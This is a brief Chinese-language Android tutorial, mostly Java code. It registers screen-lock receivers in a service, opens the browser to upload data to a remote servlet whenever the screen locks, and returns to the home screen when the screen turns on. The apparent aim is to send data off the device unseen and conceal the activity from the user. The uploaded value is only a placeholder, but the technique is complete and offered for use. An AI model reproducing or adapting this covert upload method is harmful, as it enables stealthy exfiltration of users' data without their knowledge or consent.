1.在服务里面注册两个广播“screen_off”和“screen_on”的广播
@Override public void onCreate() { IntentFilter lockScreenFilter = new IntentFilter(Intent.ACTION_SCREEN_OFF); lockScreenFilter.setPriority(Integer.MAX_VALUE); LockScreenReceiver lockScreenReceiver = new LockScreenReceiver(); registerReceiver(lockScreenReceiver, lockScreenFilter); IntentFilter unLockScreenFilter = new IntentFilter(Intent.ACTION_SCREEN_ON); unLockScreenFilter.setPriority(Integer.MAX_VALUE); UnLockScreenReceiver unLockScreenReceiver = new UnLockScreenReceiver(); registerReceiver(unLockScreenReceiver, unLockScreenFilter); super.onCreate(); }
2.实现锁屏广播的编写,并在锁屏广播里面实现用浏览器上传数据
class LockScreenReceiver extends BroadcastReceiver{ @Override public void onReceive(Context context, Intent intent) { LogUtils.i("LockScreenReceiver", "屏幕锁定"); Intent uploadIntent = new Intent(Intent.ACTION_VIEW); uploadIntent.addCategory(Intent.CATEGORY_BROWSABLE); uploadIntent.setData(Uri.parse("http://10.20.2.98:8080/web/uploadservlet?info="+"hhh")); uploadIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); context.startActivity(uploadIntent); } }
3.在屏幕开启的广播中实现返回桌面的操作
class UnLockScreenReceiver extends BroadcastReceiver{ @Override public void onReceive(Context context, Intent intent) { LogUtils.i("UnLockScreenReceiver", "屏幕开启"); Intent homeIntent = new Intent("android.intent.action.MAIN"); homeIntent.addCategory("android.intent.category.HOME"); homeIntent.addCategory("android.intent.category.DEFAULT"); homeIntent.addCategory("android.intent.category.MONKEY"); homeIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); startActivity(homeIntent); } }